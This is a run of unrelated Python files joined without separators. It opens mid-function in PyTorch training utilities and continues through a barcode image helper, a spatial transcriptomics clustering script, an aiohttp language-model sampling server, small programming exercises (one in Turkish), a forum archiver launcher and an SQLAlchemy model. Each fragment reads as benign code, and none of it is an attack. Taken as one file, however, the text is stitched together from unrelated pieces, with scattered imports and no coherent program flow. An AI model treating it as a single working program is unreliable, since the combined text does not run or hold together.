        elif lr_scheduler_type == "multi_step":
            scheduler = lr_scheduler.MultiStepLR(optimizer, milestones=conf_lrs["milestones"], gamma=conf_lrs["gamma"])
        elif lr_scheduler_type == "pyramid":
            scheduler = _adjust_learning_rate_pyramid(optimizer, epochs - warmup_epochs, get_optim_lr(optimizer))
        elif lr_scheduler_type == "step":
            decay_period = conf_lrs["decay_period"]
            gamma = conf_lrs["gamma"]
            scheduler = lr_scheduler.StepLR(optimizer, decay_period, gamma=gamma)
        elif lr_scheduler_type == "one_cycle":
            assert steps_per_epoch is not None
            ensure_pytorch_ver("1.3.0", "LR scheduler OneCycleLR is not available.")
            max_lr = conf_lrs["max_lr"]
            epoch_or_step = False
            scheduler = lr_scheduler.OneCycleLR(
                optimizer,
                max_lr=max_lr,
                epochs=epochs - warmup_epochs,
                steps_per_epoch=steps_per_epoch,
            )  # TODO: other params
        elif not lr_scheduler_type:
            scheduler = None
        else:
            raise ValueError("invalid lr_schduler=%s" % lr_scheduler_type)

        # select warmup for LR schedule
        if warmup_epochs:
            scheduler = GradualWarmupScheduler(
                optimizer,
                multiplier=conf_lrs["warmup"].get("multiplier", 1.0),
                total_epoch=warmup_epochs,
                after_scheduler=scheduler,
            )

    return scheduler, epoch_or_step

def _adjust_learning_rate_pyramid(optimizer, max_epoch: int, base_lr: float):
    def _internal_adjust_learning_rate_pyramid(epoch):
        """Sets the learning rate to the initial LR decayed by 10 every 30 epochs"""
        lr = base_lr * (0.1 ** (epoch // (max_epoch * 0.5))) * (0.1 ** (epoch // (max_epoch * 0.75)))
        return lr

    return lr_scheduler.LambdaLR(optimizer, _internal_adjust_learning_rate_pyramid)

def get_lossfn(conf_lossfn: Config) -> _Loss:
    type = conf_lossfn["type"]
    if type == "CrossEntropyLoss":
        return nn.CrossEntropyLoss()
    elif type == "CrossEntropyLabelSmooth":
        return SmoothCrossEntropyLoss(smoothing=conf_lossfn["smoothing"])
    else:
        raise ValueError('criterian type "{}" is not supported'.format(type))

def param_size(module: nn.Module, ignore_aux=True, only_req_grad=False):
    """count all parameters excluding auxiliary"""
    return np.sum(
        v.numel()
        for name, v in module.named_parameters()
        if (not ignore_aux or ("auxiliary" not in name)) and (not only_req_grad or v.requires_grad)
    )

def save_model(model, model_path):
    torch.save(model.state_dict(), model_path)

def load_model(model, model_path):
    model.load_state_dict(torch.load(model_path))

def drop_path_(x, drop_prob, training):
    if training and drop_prob > 0.0:
        keep_prob = 1.0 - drop_prob
        # Bernoulli returns 1 with pobability p and 0 with 1-p.
        # Below generates tensor of shape (batch,1,1,1) filled with 1s and 0s
        #   as per keep_prob.
        mask = torch.FloatTensor(x.size(0), 1, 1, 1).bernoulli_(keep_prob).to(device=x.device)
        # scale tensor by 1/p as we will be losing other values
        # for each tensor in batch, zero out values with probability p
        x.div_(keep_prob).mul_(mask)
    return x

def accuracy(output, target, topk=(1,)):
    """Computes the precision@k for the specified values of k"""

    maxk = max(topk)
    batch_size = target.size(0)

    _, pred = output.topk(maxk, 1, True, True)
    pred = pred.t()
    # one-hot case
    if target.ndimension() > 1:
        target = target.max(1)[1]

    correct = pred.eq(target.view(1, -1).expand_as(pred))

    res = []
    for k in topk:
        correct_k = correct[:k].contiguous().view(-1).float().sum(0)
        res.append(correct_k.mul_(1.0 / batch_size))

    return res

def channel_norm(dataset, channel_dim=1) -> tuple:
    # collect tensors in list
    l = [data for data, *_ in dataset]
    # join back all tensors so the first dimension is count of tensors
    l = torch.stack(l, dim=0)  # size: [N, X, Y, ...] or [N, C, X, Y, ...]

    if channel_dim is None:
        # add redundant first dim
        l = l.unsqueeze(0)

    else:
        # swap channel dimension to first
        l = torch.transpose(l, 0, channel_dim).contiguous()  # size: [C, N, X, Y, ...]
    # collapse all except first dimension
    l = l.view(l.size(0), -1)  # size: [C, N*X*Y]
    mean = torch.mean(l, dim=1)  # size: [C]
    std = torch.std(l, dim=1)  # size: [C]
    return mean, std

def clear_gpu_memory():
    gc.collect()
    torch.cuda.empty_cache()
    for obj in gc.get_objects():
        if torch.is_tensor(obj):
            obj.cpu()
    gc.collect()
    torch.cuda.empty_cache()

def memory_allocated(device=None, max=False) -> float:
    """Returns allocated memory on device in MBs"""
    if device:
        device = torch.device(device)
        if max:
            alloc = torch.cuda.max_memory_allocated(device=device)
        else:
            alloc = torch.cuda.memory_allocated(device=device)
        alloc /= 1024**2
        return alloc

def print_memory_objects(device=None, max=False) -> None:
    numels = Counter()
    for obj in gc.get_objects():
        if torch.is_tensor(obj):
            print(type(obj), obj.size())
            numels[obj.device] += obj.numel()
    print()
    for device, numel in sorted(numels.items()):
        print("%s: %s elements, %.3f MBs" % (str(device), numel, numel * 4 / 1024**2))


# Barcode imports
import base64
from io import BytesIO
import numpy as np
from PIL import Image

def getBarcode(json_barcode, width=1024, height=12, as_list=False):
    """Return barcode from the DB's video's JSON array."""
    if not json_barcode:
        return None
    np_array = np.array(json_barcode, dtype="int")  # Parse the numpy list from string
    flipped_array = np.flip(np.array(np_array).astype('int'), 1)  # Switch from BGR to RGB values
    new_img = np.expand_dims(np.array(flipped_array), axis=0)  # Add dimension to convert matrix to image tensor
    new_image = np.repeat(new_img, [224], axis=0)
    new_image = new_image.astype(np.uint8)
    img = Image.fromarray(new_image)  # Convert image tensor to Pillow Image object
    img = img.resize(size=(width, height))
    buffered = BytesIO()
    img.save(buffered, format="PNG")
    if as_list:
        return np.array(img).tolist()
    else:
        base64_encoded_result_bytes = base64.b64encode(buffered.getvalue())
        base64_encoded_result_str = base64_encoded_result_bytes.decode('ascii')
        return base64_encoded_result_str


"""
https://github.com/codebasics/py/blob/master/Basics/Exercise/21_generators/21_generators.md
"""
def square_seq():
    num = 1
    while True:
        yield num ** 2
        num += 1

for f in square_seq():
    if f > 100:
        break
    print(f)


import warnings
warnings.filterwarnings("ignore")
import datetime
now1 = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print("time1:", now1)
import pandas as pd
import numpy as np
import scanpy as sc
import matplotlib.pyplot as plt
import random
import sys
import sklearn.metrics as metrics
from s_dbw import S_Dbw
from collections import Counter
from natsort import natsorted
import STMSGAL
import os
import eval
os.environ["CUDA_VISIBLE_DEVICES"]= "1"

#Adult Mouse Brain (FFPE),V1_Adult_Mouse_Brain_Coronal_Section_1,Adult Mouse Kidney (FFPE)
#Adult_Mouse_Brain (Coronal)
category = "V1_Breast_Cancer_Block_A_Section_1"
director = f"/data/pxh/SEDR/data/{category}"
adata = sc.read_visium(f"{director}")
adata.var_names_make_unique()

#k_cutoff = 15
rad_cutoff = 300
alpha = 0.7
pre_resolution = 0.2
n_epochs=300
dsc_alpha = 0.35
d = 6

cost_ssc_coef = 0.1
n_top_genes=1000
pca = False

sc.pp.highly_variable_genes(adata, flavor="seurat_v3", n_top_genes=n_top_genes)
sc.pp.normalize_total(adata, target_sum=1e4)
sc.pp.log1p(adata)

#Ground fig
Ann_df = pd.read_csv(f'{director}/metadata.tsv', sep='\t')
# adata.obs['Ground Truth'] = Ann_df['fine_annot_type']
# Y = adata.obs['Ground Truth']
result = pd.DataFrame(Ann_df['fine_annot_type'])
adata.obs['Ground Truth'] = result['fine_annot_type'].values

plt.rcParams["figure.figsize"] = (3, 3)
sc.pl.spatial(adata, img_key="hires", color=["Ground Truth"],size=1.5,show=False)
plt.savefig(f'./outputs/{category}/Ground1.5.jpg',
            bbox_inches='tight', dpi=150)

#Constructing the spatial network
STMSGAL.Cal_Spatial_Net(adata, rad_cutoff=rad_cutoff)
STMSGAL.Stats_Spatial_Net(adata)

#Running STMSGAL with cell type-aware module
adata,pred_dsc = STMSGAL.train_STMSGAL(adata, alpha=alpha, pre_resolution=pre_resolution,
                              n_epochs=n_epochs, save_attention=True,save_loss=False,
                              n_cluster = 20,cost_ssc_coef = cost_ssc_coef)

if not os.path.exists(f'./outputs/{category}'):
    os.makedirs(f'./outputs/{category}')

sc.pp.neighbors(adata, use_rep='STMSGAL')
sc.tl.umap(adata)

def res_search_fixed_clus(adata, fixed_clus_count, increment=0.01):
    '''
        arg1(adata)[AnnData matrix]
        arg2(fixed_clus_count)[int]

        return:
            resolution[int]
    '''
    for res in sorted(list(np.arange(0.6, 2.5, increment)), reverse=True):
        sc.tl.leiden(adata, random_state=0, resolution=res)
        count_unique_leiden = len(pd.DataFrame(adata.obs['leiden']).leiden.unique())
        if count_unique_leiden == fixed_clus_count:
            break
    return res
eval_resolution = res_search_fixed_clus(adata, 20)

sc.tl.leiden(adata, resolution=eval_resolution)

#read the annotation
Ann_df = pd.read_csv(f'{director}/metadata.tsv', sep='\t')

X = adata.obsm['STMSGAL']
y = adata.obs['leiden']
y = y.values.reshape(-1)
y = y.codes
n_cluster = len(np.unique(np.array(y)))

parameter = f" "

ARI = np.round(metrics.adjusted_rand_score(y, Ann_df['fine_annot_type']), 4)
NMI = np.round(metrics.normalized_mutual_info_score(y, Ann_df['fine_annot_type']), 4)
import csv

with open(f'./outputs/{category}/ARI_NMI.csv', mode='a+') as f:
    f_writer = csv.writer(
        f, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
    now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    f_writer.writerow([str("  ")])
    f_writer.writerow([str(now)])
    f_writer.writerow(["ARI_list",str(ARI)])
    f_writer.writerow(["NMI_list",str(NMI)])
    f_writer.writerow(["parameter", str(parameter)])

plt.rcParams["figure.figsize"] = (3, 3)
sc.pl.spatial(adata, img_key="hires", color="leiden", size=1.2,show=False,title='(α=0.7)')
plt.savefig(f'./outputs/{category}/atest.jpg',
                    bbox_inches='tight', dpi=300)
sc.pl.spatial(adata, img_key="hires", color="leiden", size=1.2,show=False,title='(α=0.7)')
plt.savefig(f'./outputs/{category}/cluster{n_cluster}_{parameter}.jpg',
            bbox_inches='tight', dpi=300)

plt.rcParams["figure.figsize"] = (3, 3)
sc.pl.umap(adata, color=['leiden'], legend_loc='on data', legend_fontoutline='2', s=20,show=False,title='(α=0.7)')
plt.savefig(f'./outputs/{category}/umap{n_cluster}_{parameter}.jpg',
            bbox_inches='tight', dpi=300)

print(adata.isbacked)
if not os.path.exists(f'./h5ad/{category}'):
    os.makedirs(f'./h5ad/{category}')
adata.filename = f'./h5ad/{category}/final_{category}_{parameter}.h5ad'
print(adata.isbacked)
now2 = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print("time2:", now2)


from aiohttp import web
import sampling
import samplingthread
import LanguageModel
from configparser import ConfigParser
import sys
import modules as M
import asyncio
from asyncio import Event
import json
import statsrequest
import logging

config = ConfigParser()
config.read(sys.argv[1])

logfile = config.get('logging', 'filename', fallback=None)

logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=config.get('loglevel', 'default'), filename=logfile)
logger = logging.getLogger(__name__)
for (k,v) in config['loglevel'].items():
  if k != 'default':
    logging.getLogger(k).setLevel(v)

model = LanguageModel.LanguageModel()
model.load_json(config.get('model', 'checkpoint'))
model.eval()

sampler = samplingthread.SamplerServer(model)
default_ending_token = model.token_to_idx[b'\n']

stortype = config.get('store', 'type')

if stortype == 'memory':
  stor = M.DefaultStateStore(model, default_token = default_ending_token)
elif stortype == 'sqlite':
  import sqlitestore
  stor = sqlitestore.SQLiteStateStore(model, config.get('store', 'dbpath'), default_token = default_ending_token)
elif stortype == 'mysql':
  import mysqlstore
  stor = mysqlstore.MySQLStore(model,
      config.get('store', 'dbhost', fallback='localhost'),
      config.get('store', 'dbname'),
      config.get('store', 'dbuser', fallback=''),
      config.get('store', 'dbpass', fallback=''),
      default_token = default_ending_token,
      modelid = config.getint('store', 'modelid'),
      max_days = config.getint('store', 'max_days', fallback=None))
else:
  raise Exception('Unknown store type', stortype)

device = 'cpu'
if len(sys.argv) > 2:
  device = sys.argv[2]

model.to(device)

put_chain = sampling.default_put_chains(stor)

def encode(data):
  return json.dumps(data, indent=4).encode('utf-8')

def get_option(args, option):
  return args.get(option, config.get('defaults', option))

locks = {}

async def run_request(rq):
  evt = Event()
  loop = asyncio.get_event_loop()
  if rq.key not in locks:
    locks[rq.key] = asyncio.Lock()
  async with locks[rq.key]:
    sampler.run_request(rq, lambda: loop.call_soon_threadsafe(evt.set))
    await evt.wait()
    assert rq.finished
  return rq

async def run_request_nl(rq):
  evt = Event()
  loop = asyncio.get_event_loop()
  sampler.run_request(rq, lambda: loop.call_soon_threadsafe(evt.set))
  await evt.wait()
  assert rq.finished
  return rq

routes = web.RouteTableDef()

@routes.get('/')
async def stats(request):
  text = 'pytorch-rnn server stats\n'
  text += 'Pending samples:\n'
  for (k,v) in locks.items():
    if (v._locked):
      text += "%s => %d\n" % (k, 0 if v._waiters is None else len(v._waiters))
  try:
    rq = statsrequest.StatsRequest(sampler)
    await run_request_nl(rq)
    text += 'elapsed: %.3f\n' % rq.elapsed
    text += 'Requests:\n%s\n' % rq.requestinfo
  except Exception:
    text += "Error getting stats"
  return web.Response(text=text)

@routes.post('/put')
async def put(request):
  args = await request.json()
  key = args.get('key', '')
  text = args['text']
  force_commit = args.get('force_commit', False)
  append_newline = args.get('append_newline', True)
  if (append_newline):
    text += '\n'
  logger.info("put %s %d" % (key,len(text)))
  rq = sampler.sampler.make_put_request(put_chain, model.encode_string(text), key=key)
  if force_commit:
    rq.force_commit = True
  await run_request(rq)
  if force_commit and stortype == 'mysql':
    stor.commit()
  resp = {'result': 'ok'}
  return web.Response(body=encode(resp), content_type='application/json')

@routes.post('/get')
async def get(request):
  args = await request.json()
  key = args.get('key', '')
  temperature = float(get_option(args, 'temperature'))
  maxlength = int(get_option(args, 'maxlength'))
  bw = args.get('bad_words', [])
  logger.info("get %s bw:%d" % (key, len(bw)))
  softlength_max = int(get_option(args, 'softlength_max'))
  softlength_mult = float(get_option(args, 'softlength_mult'))
  ending_tokens = [default_ending_token]
  if 'ending_tokens' in args:
    ending_tokens = [model.token_to_idx[tok.encode('utf8')] for tok in args['ending_tokens']]
  get_chain = sampling.default_get_chains(stor, maxlength=maxlength, temperature = temperature, endtoken = ending_tokens)
  if softlength_max > 0:
    get_chain.sample_post.insert(0, M.SoftLengthLimit(softlength_max, softlength_mult, ending_tokens))
  if bw:
    get_chain.sample_post.append(M.BlockBadWords(model, bw))
  rq = await run_request(sampler.sampler.make_get_request(get_chain, key=key))
  seq = rq.sampled_sequence
  if bool(args.get('strip_ending_token', True)) and seq[-1] in ending_tokens:
    seq.pop(-1)
  text = model.decode_string(seq).decode('utf8', 'ignore')
  resp = {'result': 'ok', 'text': text}
  return web.Response(body=encode(resp), content_type='application/json')

app = web.Application()
app.add_routes(routes)
web.run_app(
  app,
  port = config.get('http', 'port'),
)


import re
match = re.compile(r'\[.*?]')
SymbolList = []
def stripstr (string) :
    a = string.lstrip('[')
    a = a.rstrip(']')
    return a
for i in range(3) :
    MatchList = match.findall(input())
    SymbolList.append(list(map(stripstr,MatchList)))

n = int(input())
for i in range(n) :
    res = ''
    nums = list(map(int,input().split()))
    if nums[0] >len(SymbolList[0]) or nums[1] > len(SymbolList[1]) or nums[2] > len(SymbolList[2]) or nums[3] > len(SymbolList[1]) or nums[4] > len(SymbolList[0]) :
        print('Are you kidding me? @\/@')
    else :
        res += SymbolList[0][nums[0]-1]
        res += '(' + SymbolList[1][nums[1]-1]
        res += SymbolList[2][nums[2]-1]
        res += SymbolList[1][nums[3]-1] + ')'
        res += SymbolList[0][nums[4]-1]
        print(res)


ogrenciler = {
    '120': {
    'ad': 'Ali',
    'soyad': 'Yilmaz',
    'telefon': '532 000 00 01'
    },
    '125': {
    'ad': 'Can',
    'soyad': 'Korkmaz',
    'telefon': '532 000 00 02'
    },
    '128': {
    'ad': 'Volkan',
    'soyad': 'Yukselen',
    'telefon': '532 000 00 03'
    },
}

#1-Bilgileri verilen ogrencileri kullanicidan aldiginiz bilgilerle dictionary icinde saklayiniz.
no = input("ogrenci numaranizi giriniz: ")
ad = input("adinizi giriniz: ")
soyad = input("soyadinizi griniz: ")
telefon = input("telefon numaranizi giriniz: ")

ogrenciler.update({
    no: {
        'ad': ad,
        'soyad': soyad,
        'telefon': telefon
    }
})

print(ogrenciler)

#2-Ogrenci numarasini kullanicidan alip ilgili ogrenci bilgisini gosterin.
bilgi = input("ogrenci numaranizi giriniz: ")
if bilgi in ogrenciler:
    print(ogrenciler[bilgi])
else:
    print(bilgi, "numarali ogrenci bulunmamaktadir.")


__author__ = 'Robert Cope'

import logging
from logging.handlers import RotatingFileHandler

try:
    from config import ScraperConfig
except ImportError:
    from default_config import ScraperConfig

root_logger = logging.getLogger('')
ch = logging.StreamHandler()
formatter = logging.Formatter(ScraperConfig.LOG_FORMAT_STR)
ch.setFormatter(formatter)
root_logger.addHandler(ch)
root_logger.setLevel(logging.INFO)
ch.setLevel(logging.INFO)

from scraper_argparse import argument_parser
from archiver_main import Archiver

arguments = argument_parser.parse_args()

if arguments.log_file:
    fh = RotatingFileHandler(arguments.log_file, maxBytes=3145728, backupCount=3)
    fh.setLevel(ScraperConfig.LOG_FILE_LOG_LEVEL)
    fh.setFormatter(formatter)
    root_logger.addHandler(fh)

archiver = Archiver(arguments.base_url, arguments.forum_codes, arguments.archive_location,  ScraperConfig.USER_AGENT,
                    arguments.worker_count)

try:
    if archiver.setup():
        archiver.run()
except KeyboardInterrupt:
    root_logger.warning('Keyboard interrupt received! Attempting to shutdown archiver.')
except Exception as e:
    root_logger.exception('Unexpected exception encountered trying to archive forums!')
    raise e
finally:
    root_logger.info('Beginning teardown!')
    archiver.teardown()
    root_logger.info('Archiver finished!')


"""Assertion proof purpose class."""

from datetime import datetime, timedelta

from .controller_proof_purpose import ControllerProofPurpose

class AssertionProofPurpose(ControllerProofPurpose):
    """Assertion proof purpose class."""

    term = "assertionMethod"

    def __init__(self, *, date: datetime = None, max_timestamp_delta: timedelta = None):
        """Initialize new instance of AssertionProofPurpose."""
        super().__init__(
            term=AssertionProofPurpose.term,
            date=date,
            max_timestamp_delta=max_timestamp_delta,
        )


# 7, 11, 13, 14, 17, 19, 21, 22, 23,
# 1
# 2
# 3
# 2^2 = 4
# 5
# 3 * 2 = 6
# 2^3 = 8
# 2*5 = 10
# 2^2 * 3 = 12
# 2*5 = 15
# 2^4 = 16
# 2 * 3^2 = 18
# 2^2 * 5 = 20
# 2^3 * 3 = 24
# 5^2 = 25

class Solution:
    def nthUglyNumber(self, n: int) -> int:
        factors = (2, 3, 5)
        k = len(factors)
        ugly_numbers = [1]
        pointers = [0 for _ in range(k)]
        for _ in range(n-1):
            candidates = [factor * ugly_numbers[p] for factor, p in zip(factors, pointers)]
            next_ugly_number = min(candidates)
            ugly_numbers.append(next_ugly_number)
            pointers = [p + int(candidate == next_ugly_number) for candidate, p in zip(candidates, pointers)]
        return ugly_numbers[-1]

# this does takes too much time since ugly numbers become very sparse eventually
class Solution1:
    def nthUglyNumber(self, n: int) -> int:
        dp = [True]
        num = 1
        i = 1
        while i < n:
            num += 1
            is_ugly = False
            for div in (2, 3, 5):
                rem, mod = num // div, num % div
                if mod == 0:
                    is_ugly = dp[rem - 1]
                    break
            dp.append(is_ugly)
            if is_ugly:
                i += 1
        return num


from src import db
from src.components.loyalty_product_rule.loyalty_product_rule_model import LoyaltyProductRule
from src.components.order_product.order_product_model import OrderProduct
from src.helpers.sqlalchemy.base_model import BaseModel

class Product(BaseModel):
    __tablename__ = "valta_product"

    product_integration_id = db.Column(db.String(50), primary_key=True)
    name = db.Column(db.String(255), unique=False, nullable=True)
    vendor_code = db.Column(db.String(50), unique=True, nullable=False)
    barcode = db.Column(db.String(255), unique=True, nullable=False)
    present_for_vet = db.Column(db.Boolean, default=False, nullable=False)
    valid_for_loyalty = db.Column(db.Boolean, default=False, nullable=False)
    order_products = db.relationship(OrderProduct)
    # loyalty_product_rules = db.relationship(LoyaltyProductRule)

    def __repr__(self):
        return f"<Product (product_integration_id={self.product_integration_id})>"